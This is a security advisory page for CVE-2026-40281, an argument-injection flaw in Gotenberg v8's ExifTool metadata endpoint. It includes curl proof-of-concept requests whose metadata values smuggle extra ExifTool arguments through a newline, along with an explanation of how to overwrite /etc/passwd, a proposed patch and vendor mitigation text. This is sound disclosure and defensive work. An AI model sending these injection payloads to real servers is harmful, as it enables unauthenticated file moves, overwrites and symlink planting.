CVE-2026-40281 is a critical-severity (CVSS 10) CWE-88 vulnerability in github.com/gotenberg/gotenberg/v8. A fix is available for github.com/gotenberg/gotenberg/v8 — see the affected versions and patch details below.
Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40281.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-40281 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/gotenberg/gotenberg/v8Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Vulnerability Details
CWE: CWE-20 - Improper Input Validation
The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.
Summary
The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.
Root Cause
pkg/modules/exiftool/exiftool.go — WriteMetadata() function:
// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
if !safeKeyPattern.MatchString(key) { // ← only keys checked
return fmt.Errorf(...)
}
}
// VALUE passed through unsanitized:
case string:
fileMetadata[0].SetString(key, val) // ← val may contain \n
go-exiftool (barasher/go-exiftool) then writes:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
// -Title=test
// -FileName=/tmp/inject_proof
Steps to Reproduce
1. Start Gotenberg:
docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8
2. Create a test PDF:
curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-o test.pdf http://localhost:3001/forms/chromium/convert/html \
<<< '<html><body>test</body></html>'
3. Inject -FileName via value newline:
curl -s -w "\nHTTP %{http_code}" \
-F '[email protected];type=application/pdf' \
-F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
http://localhost:3001/forms/pdfengines/metadata/write
# Returns HTTP 404 (file moved away from temp path)
4. Verify injection inside container:
docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here)
5. Symlink injection:
curl -s -w "\nHTTP %{http_code}" \
-F '[email protected];type=application/pdf' \
-F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
http://localhost:3001/forms/pdfengines/metadata/write
docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf
Impact
An unauthenticated attacker can:
- Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
- Overwrite arbitrary files — e.g.,
-Directory=/etc/ -FileName=passwdinjects two lines, moving the PDF to/etc/passwd, corrupting the system user database - Create symlinks at arbitrary paths via
-SymLink=, enabling subsequent read/write primitives - Create hard links via
-HardLink=, persisting data beyond temp directory cleanup
This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.
Proposed Fix
Add value sanitization parallel to the existing key check in WriteMetadata:
for key, value := range metadata {
if !safeKeyPattern.MatchString(key) {
return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
}
if str, ok := value.(string); ok {
if strings.ContainsAny(str, "\n\r\x00") {
return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
}
}
}
Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.
Vulnerable Code
// See description for details
Steps to Reproduce
- Set up the application using the default configuration
- See the vulnerability details above
Impact
This vulnerability may allow an attacker to compromise the application.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gotenberg/gotenberg/v8 | all versions | 8.31.0go get github.com/gotenberg/gotenberg/v8@v8.31.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/gotenberg/gotenberg/v8 to 8.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40281 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40281 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40281. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40281 in your dependencies?
O3 Security finds CVE-2026-40281 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.